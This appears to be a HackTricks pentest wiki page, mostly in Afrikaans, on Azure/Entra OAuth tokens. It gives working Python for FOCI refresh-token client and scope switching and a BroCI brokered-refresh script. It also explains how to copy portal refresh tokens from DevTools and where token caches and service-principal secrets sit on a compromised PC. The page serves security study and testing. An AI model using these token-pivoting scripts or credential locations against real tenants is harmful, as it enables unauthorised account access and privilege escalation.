# Az - Tokens & Publieke Toepassings

{{#include ../../../banners/hacktricks-training.md}}

## Basiese Inligting

Entra ID is Microsoft se wolkgebaseerde identiteit- en toegangsbestuursplatform (IAM), wat dien as die fundamentele verifikasie- en magtigingstelsel vir dienste soos Microsoft 365 en Azure Resource Manager. Azure AD implementeer die OAuth 2.0 magtigingsraamwerk en die OpenID Connect (OIDC) verifikasieprotokol om toegang tot hulpbronne te bestuur.

### OAuth

Belangrike deelnemers in OAuth 2.0:

1. **Resource Server (RS):** Beskerm hulpbronne wat deur die resource owner besit word.
2. **Resource Owner (RO):** Tipies 'n eindgebruiker wat die beskermde hulpbronne besit.
3. **Client Application (CA):** 'n Toepassing wat toegang tot hulpbronne namens die resource owner soek.
4. **Authorization Server (AS):** Gee access tokens aan client applications nadat dit hulle geverifieer en gemagtig het.

Scopes en Toestemming:

- **Scopes:** Fynkorrelige toestemmings op die resource server wat toegangsvlakke spesifiseer.
- **Consent:** Die proses waardeur 'n resource owner 'n client application toestemming gee om hulpbronne met spesifieke scopes te gebruik.

Microsoft 365-integrasie:

- Microsoft 365 gebruik Azure AD vir IAM en bestaan uit verskeie "first-party" OAuth-toepassings.
- Hierdie toepassings is diep geïntegreer en het dikwels onderling afhanklike diensverhoudings.
- Om die gebruikerservaring te vereenvoudig en funksionaliteit te behou, verleen Microsoft "implied consent" of "pre-consent" aan hierdie first-party toepassings.
- **Implied Consent:** Sekere toepassings word outomaties **toegang tot spesifieke scopes gegee sonder eksplisiete gebruiker- of administrateurgoedkeuring**.
- Hierdie vooraf-toegestemde scopes is tipies verborge vir beide gebruikers en administrateurs, wat dit minder sigbaar maak in standaard bestuurderskoppelvlakke.

Tipes Client Applications:

1. **Confidential Clients:**
- Besit hul eie credentials (bv. wagwoorde of sertifikate).
- Kan hulself **veilig verifieer** by die authorization server.
2. **Public Clients:**
- Het geen unieke credentials nie.
- Kan nie veilig by die authorization server verifieer nie.
- **Sekuriteitsimplikasie:** 'n Aanvaller kan 'n public client application naboots wanneer hy tokens versoek, aangesien daar geen meganisme is vir die authorization server om die legitimiteit van die toepassing te verifieer nie.

## Verifikaasietokens

Daar is **drie tipes tokens** wat in OIDC gebruik word:

- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Die kliënt bied hierdie token aan die resource server om **toegang tot hulpbronne** te kry. Dit kan slegs gebruik word vir 'n spesifieke kombinasie van gebruiker, client en hulpbron en **kan nie herroep word** totdat dit verstryk nie — dit is standaard 1 uur.
- **ID Tokens**: Die kliënt ontvang hierdie **token van die authorization server**. Dit bevat basiese inligting oor die gebruiker. Dit is **gekoppel aan 'n spesifieke kombinasie van gebruiker en client**.
- **Refresh Tokens**: Verskaf aan die kliënt saam met die access token. Word gebruik om **nuwe access en ID tokens te kry**. Dit is gekoppel aan 'n spesifieke kombinasie van gebruiker en client en kan herroep word. Standaard verstryking is **90 dae** vir inaktive refresh tokens en **geen verstryking vir aktiewe tokens** (deur van 'n refresh token is dit moontlik om nuwe refresh tokens te kry).
- 'n Refresh token behoort gekoppel te wees aan 'n **`aud`**, aan sekere **scopes**, en aan 'n **tenant** en dit behoort slegs in staat te wees om access tokens vir daardie aud, scopes (en niks meer) en tenant te genereer. Dit is egter nie die geval met **FOCI applications tokens** nie.
- 'n Refresh token is versleuteld en slegs Microsoft kan dit ontsleutel.
- Om 'n nuwe refresh token te kry herroep nie die vorige refresh token nie.

> [!WARNING]
> Inligting vir **conditional access** word **gestoor** binne die **JWT**. Dus, as jy die **token vanaf 'n toegelate IP-adres** versoek, sal daardie **IP** in die token **gestoor** word en dan kan jy daardie token vanaf 'n **nie-toegelate IP gebruik om toegang tot die hulpbronne te kry**.

### Access Tokens "aud"

Die veld aangedui in die "aud" veld is die **resource server** (die toepassing) wat gebruik word om die aanmelding uit te voer.

Die opdrag `az account get-access-token --resource-type [...]` ondersteun die volgende tipes en elk van hulle sal 'n spesifieke "aud" by die resulterende access token voeg:

> [!CAUTION]
> Neem kennis dat die volgende net die APIs is wat deur `az account get-access-token` ondersteun word, maar daar is meer.

<details>

<summary>aud voorbeelde</summary>

- **aad-graph (Azure Active Directory Graph API)**: Gebruik om toegang tot die legacy Azure AD Graph API (deprekated) te kry, wat toepassings toelaat om gidsdata in Azure Active Directory te lees en te skryf.
- `https://graph.windows.net/`

* **arm (Azure Resource Manager)**: Gebruik om Azure-hulpbronne te bestuur deur die Azure Resource Manager API. Dit sluit operasies in soos die skep, opdateer en verwyder van hulpbronne soos virtuele masjiene, stoortoestelle, en meer.
- `https://management.core.windows.net/ or https://management.azure.com/`

- **batch (Azure Batch Services)**: Gebruik om toegang tot Azure Batch te kry, 'n diens wat grootskaalse parallelle en hoë-prestasietoepassings in die wolk effektief moontlik maak.
- `https://batch.core.windows.net/`

* **data-lake (Azure Data Lake Storage)**: Gebruik om met Azure Data Lake Storage Gen1 te kommunikeer, wat 'n skaalbare data-opberging- en analitiese diens is.
- `https://datalake.azure.net/`

- **media (Azure Media Services)**: Gebruik om toegang tot Azure Media Services te kry, wat wolkgebaseerde media-verwerking en leweringsdienste vir video- en oudio-inhoud bied.
- `https://rest.media.azure.net`

* **ms-graph (Microsoft Graph API)**: Gebruik om toegang tot die Microsoft Graph API te kry, die eenvormige eindpunt vir Microsoft 365-diensdata. Dit stel jou in staat om data en insigte van dienste soos Azure AD, Office 365, Enterprise Mobility en Security-dienste te kry.
- `https://graph.microsoft.com`

- **oss-rdbms (Azure Open Source Relational Databases)**: Gebruik om toegang tot Azure Database-dienste vir open-source relationele databasis-motors soos MySQL, PostgreSQL, en MariaDB te kry.
- `https://ossrdbms-aad.database.windows.net`

</details>

### Access Tokens Scopes "scp"

Die scope van 'n access token word binne die scp sleutel in die access token JWT gestoor. Hierdie scopes definieer waartoe die access token toegang het.

As 'n JWT toegelaat word om 'n spesifieke API te kontak maar **nie die scope** het om die versoekte aksie uit te voer nie, sal dit **nie in staat wees om die aksie uit te voer** met daardie JWT nie.

### Get refresh & access token example
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List


# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"00b41c95-dab0-4487-9791-b9d2c32c80f2" # ID for Office 365 Management
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])

# Perform device code flow authentication

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)


# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)


# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
```
### Other access token fields

- **appid**: Application ID wat gebruik is om die token te genereer
- **appidacr**: Die Application Authentication Context Class Reference dui aan hoe die client geverifieer is; vir 'n public client is die waarde 0, en as 'n client secret gebruik is is die waarde 1
- **acr**: Die Authentication Context Class Reference-claim is "0" wanneer die eindgebruiker se verifikasie nie aan die vereistes van ISO/IEC 29115 voldoen het nie.
- **amr**: Die Authentication method dui aan hoe die token geverifieer is. 'n Waarde van “pwd” dui aan dat 'n wagwoord gebruik is.
- **groups**: Dui die groepe aan waarvan die principal 'n lid is.
- **iss**: Die iss identifiseer die security token service (STS) wat die token gegenereer het. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (die uuid is die tenant ID)
- **oid**: Die object ID van die principal
- **tid**: Tenant ID
- **iat, nbf, exp**: Uitgereik op (wanneer dit uitgereik is), Nie voor (kan nie voor hierdie tyd gebruik word nie, gewoonlik dieselfde waarde as iat), Vervaltyd.


## FOCI Tokens Privilege Escalation

Eerder is genoem dat refresh tokens gekoppel behoort te wees aan die **scopes** waarmee dit gegenereer is, aan die **application** en **tenant** waarvoor dit gegenereer is. As enige van hierdie perke gebreek word, is dit moontlik om privileges te eskaleer, aangesien dit moontlik sal wees om access tokens te genereer vir ander resources en tenants waartoe die gebruiker toegang het en met meer scopes as wat oorspronklik bedoel was.

Boonop, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) omdat, soos die [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) noem: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."

Verder, neem kennis dat die FOCI applications openbare applications is, so **no secret is needed** om by die bediener te verifieer.

Die bekende FOCI clients wat in die [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) gerapporteer is, kan by [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) gevind word.

### Get different scope

In aansluiting by die vorige voorbeeldkode, word in hierdie kode 'n nuwe token versoek vir 'n ander scope:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
```
### Kry 'n ander kliënt en scopes
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
## NAA / BroCI (Nested App Authentication / Broker Client Injection)

A BroCI refresh token is 'n brokered token-uitruilingspatroon waar 'n bestaande refresh token gebruik word met bykomende broker-parameters om tokens te versoek as 'n ander vertroude first-party app.

Hierdie refresh tokens moet in daardie broker-konteks gemint wees (’n gewone refresh token kan gewoonlik nie as 'n BroCI refresh token gebruik word nie).

### Doel en bedoeling

Die doel van BroCI is om 'n geldige gebruikersessie van 'n broker-capable app-ketting te hergebruik en tokens aan te vra vir 'n ander vertroude app/resource-paar. Dit laat dus toe om "escalate privileges" vanaf die oorspronklike token.

Van 'n offensiewe perspektief is dit belangrik omdat:

- Dit kan pre-consented first-party app-paaie ontsluit wat nie met standaard refresh-uitruilings toeganklik is nie.
- Dit kan access tokens teruggee vir hoë-waarde APIs (byvoorbeeld Microsoft Graph) onder app-identiteite met wye delegated permissions.
- Dit brei post-authentication token pivoting-geleenthede uit buite klassieke FOCI client switching.

Wat in 'n NAA/BroCI refresh token verander, is nie die sigbare token-formaat nie, maar die issuance context en broker-verwante metadata wat Microsoft valideer tydens brokered refresh-operasies.

NAA/BroCI token exchanges is nie dieselfde as 'n gewone OAuth refresh exchange nie.

- 'n Gewone refresh token (byvoorbeeld verkry via device code flow) is gewoonlik geldig vir standaard `grant_type=refresh_token` operasies.
- 'n BroCI-versoek sluit addisionele broker-konteks in (`brk_client_id`, broker `redirect_uri`, en `origin`).
- Microsoft valideer of die aangebiedde refresh token in 'n ooreenstemmende brokered-konteks gemint is.
- Daarom misluk baie "normale" refresh tokens in BroCI-versoeke met foute soos `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
- Jy kan gewoonlik nie 'n gewone refresh token in kode "omskakel" na 'n BroCI-geldige een nie.
- Jy benodig 'n refresh token wat reeds deur 'n verenigbare brokered flow uitgegee is.

Check die web **<https://entrascopes.com/>** om BroCI-gekonfigureerde apps en die trust relationships wat hulle het te vind.

### Mental model

Dink aan BroCI as:

`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`

As enige deel van daardie broker-ketting nie saamstem nie, misluk die uitruiling.

### Waar om 'n BroCI-geldige refresh token te vind

Een praktiese manier is deur blaaier-portalverkeer te versamel:

1. Sign in to `https://entra.microsoft.com` (or Azure portal).
2. Open DevTools -> Network.
3. Filter vir:
- `oauth2/v2.0/token`
- `management.core.windows.net`
4. Identify the brokered token response and copy `refresh_token`.
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).

### Common errors

- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.

<details>
<summary>Python BroCI refresh helper (broci_auth.py)</summary>
```python
#!/usr/bin/env python3
"""
Python implementation of EntraTokenAid Broci refresh flow.

Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
- brk_client_id
- redirect_uri
- Origin header

Usage:
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"

How to obtain a Broci-valid refresh token (authorized testing only):
1) Open https://entra.microsoft.com and sign in.
2) Open browser DevTools -> Network.
3) Filter requests for:
- "oauth2/v2.0/token"
- "management.core.windows.net"
4) Locate the portal broker token response and copy the "refresh_token" value
(the flow should be tied to https://management.core.windows.net//).
5) Use that token with this script and Broci params:

python3 broci_auth.py \
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
--tenant "organizations" \
--api "graph.microsoft.com" \
--scope ".default offline_access" \
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
--origin "https://entra.microsoft.com" \
--token-out
"""

import argparse
import base64
import datetime as dt
import json
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from typing import Any


GUID_RE = re.compile(
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
)
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}


def resolve_api_scope_url(api: str, scope: str) -> str:
"""
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
"""
if GUID_RE.match(api):
base_resource = api
elif api.lower().startswith("urn:") or "://" in api:
base_resource = api
else:
base_resource = f"https://{api}"

base_resource = base_resource.rstrip("/")

resolved: list[str] = []
for token in scope.split():
if not token.strip():
continue
if "://" in token:
resolved.append(token)
elif token.lower().startswith("urn:"):
resolved.append(token)
elif token in OIDC_SCOPES:
resolved.append(token)
elif GUID_RE.match(token):
resolved.append(f"{token}/.default")
else:
normalized = ".default" if token in {"default", ".default"} else token
resolved.append(f"{base_resource}/{normalized}")

return " ".join(resolved)


def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
parts = jwt_token.split(".")
if len(parts) != 3:
raise ValueError("Invalid JWT format.")
payload = parts[1]
padding = "=" * ((4 - len(payload) % 4) % 4)
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
return json.loads(decoded.decode("utf-8"))


def refresh_broci_token(
refresh_token: str,
client_id: str,
scope: str,
api: str,
tenant: str,
user_agent: str,
origin: str | None,
brk_client_id: str | None,
redirect_uri: str | None,
disable_cae: bool,
) -> dict[str, Any]:
api_scope_url = resolve_api_scope_url(api=api, scope=scope)

headers = {
"User-Agent": user_agent,
"X-Client-Sku": "MSAL.Python",
"X-Client-Ver": "1.31.0",
"X-Client-Os": "win32",
"Content-Type": "application/x-www-form-urlencoded",
}
if origin:
headers["Origin"] = origin

body: dict[str, str] = {
"grant_type": "refresh_token",
"client_id": client_id,
"scope": api_scope_url,
"refresh_token": refresh_token,
}
if not disable_cae:
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
if brk_client_id:
body["brk_client_id"] = brk_client_id
if redirect_uri:
body["redirect_uri"] = redirect_uri

data = urllib.parse.urlencode(body).encode("utf-8")
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")

try:
with urllib.request.urlopen(req) as resp:
raw = resp.read().decode("utf-8")
except urllib.error.HTTPError as e:
err_raw = e.read().decode("utf-8", errors="replace")
try:
err_json = json.loads(err_raw)
short = err_json.get("error", "unknown_error")
desc = err_json.get("error_description", err_raw)
raise RuntimeError(f"{short}: {desc}") from None
except json.JSONDecodeError:
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None

tokens = json.loads(raw)
if "access_token" not in tokens:
raise RuntimeError("Token endpoint response did not include access_token.")
return tokens


def main() -> int:
parser = argparse.ArgumentParser(
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
)
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
parser.add_argument(
"--client-id",
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
help="Client ID (default: Azure CLI).",
)
parser.add_argument(
"--scope",
default=".default offline_access",
help="Scopes (default: '.default offline_access').",
)
parser.add_argument(
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
)
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
parser.add_argument(
"--user-agent",
default="python-requests/2.32.3",
help="User-Agent sent to token endpoint.",
)
parser.add_argument("--origin", default=None, help="Optional Origin header.")
parser.add_argument(
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
)
parser.add_argument(
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
)
parser.add_argument(
"--disable-cae",
action="store_true",
help="Disable CAE claims in token request.",
)
parser.add_argument(
"--token-out",
action="store_true",
help="Print access/refresh tokens in output.",
)
parser.add_argument(
"--disable-jwt-parsing",
action="store_true",
help="Do not parse JWT claims.",
)

args = parser.parse_args()

print("[*] Sending request to token endpoint")
try:
tokens = refresh_broci_token(
refresh_token=args.refresh_token,
client_id=args.client_id,
scope=args.scope,
api=args.api,
tenant=args.tenant,
user_agent=args.user_agent,
origin=args.origin,
brk_client_id=args.brk_client_id,
redirect_uri=args.redirect_uri,
disable_cae=args.disable_cae,
)
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
return 1

expires_in = int(tokens.get("expires_in", 0))
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
tokens["expiration_time"] = expiration_time

print(
"[+] Got an access token and a refresh token"
if tokens.get("refresh_token")
else "[+] Got an access token (no refresh token requested)"
)

if not args.disable_jwt_parsing:
try:
jwt_payload = parse_jwt_payload(tokens["access_token"])
audience = jwt_payload.get("aud", "")
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
tokens["scp"] = jwt_payload.get("scp")
tokens["tenant"] = jwt_payload.get("tid")
tokens["user"] = jwt_payload.get("upn")
tokens["client_app"] = jwt_payload.get("app_displayname")
tokens["client_app_id"] = args.client_id
tokens["auth_methods"] = jwt_payload.get("amr")
tokens["ip"] = jwt_payload.get("ipaddr")
tokens["audience"] = audience
if isinstance(audience, str):
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
if "xms_cc" in jwt_payload:
tokens["xms_cc"] = jwt_payload.get("xms_cc")
except Exception as e:
print(f"[!] JWT parse error: {e}", file=sys.stderr)
return 1
else:
print(f"[i] Expires at: {expiration_time}")

if args.token_out:
print("\nAccess Token:")
print(tokens.get("access_token", ""))
if tokens.get("refresh_token"):
print("\nRefresh Token:")
print(tokens["refresh_token"])

print("\nToken object (JSON):")
print(json.dumps(tokens, indent=2))
return 0


if __name__ == "__main__":
raise SystemExit(main())
```
</details>

## Waar om tokens te vind

Vanuit 'n aanvaller se perspektief is dit baie interessant om te weet waar dit moontlik is om access and refresh tokens te vind wanneer byvoorbeeld die PC van 'n slagoffer gekompromitteer is:

- Inside **`<HOME>/.Azure`**
- **`azureProfile.json`** bevat inligting oor gebruikers wat in die verlede aangemeld was
- **`clouds.config contains`** bevat inligting oor subskripsies
- **`service_principal_entries.json`** bevat applications credentials (tenant id, clients and secret). Slegs in Linux & macOS
- **`msal_token_cache.json`** bevat access tokens en refresh tokens. Slegs in Linux & macOS
- **`service_principal_entries.bin`** and msal_token_cache.bin word in Windows gebruik en is met DPAPI versleuteld
- **`msal_http_cache.bin`** is 'n cache van HTTP-aanvrae
- Laai dit: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`** bevat inligting oor vorige aanmeldings wat Az PowerShell gebruik het (maar geen credentials nie)
- Binne **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** is verskeie `.bin`-lêers met **access tokens**, ID tokens en rekeninginligting wat met die gebruiker se DPAPI versleuteld is.
- Dit is moontlik om meer **access tokens** te vind in die `.tbres`-lêers binne **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`**, wat 'n base64 bevat wat met DPAPI versleuteld is en access tokens bevat.
- In Linux en macOS kan jy **access tokens, refresh tokens en id tokens** van Az PowerShell (indien gebruik) kry deur `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` uit te voer
- In Windows genereer dit slegs id tokens.
- Dit is moontlik om te sien of Az PowerShell in Linux en macOS gebruik is deur te kontroleer of `$HOME/.local/share/.IdentityService/` bestaan (alhoewel die ingeslote lêers leeg en nutteloos is)
- As die gebruiker met die blaaier in Azure aangemeld is, volgens hierdie [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) is dit moontlik om die authentication flow te begin met 'n **redirect to localhost**, die blaaier outomaties die aanmelding te laat goedkeur, en die refresh token te ontvang. Neem kennis dat net 'n paar FOCI applications redirect to localhost toelaat (soos az cli of die PowerShell module), dus moet hierdie applications toegelaat wees.
- Nog 'n opsie soos in die blog verduidelik is om die tool [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) te gebruik wat enige toepassing kan gebruik omdat dit die **OAuth code sal kry om dan 'n refresh token vanaf die titel van die finale auth** bladsy te kry deur die redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient` te gebruik.

## Verwysings

- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)

{{#include ../../../banners/hacktricks-training.md}}
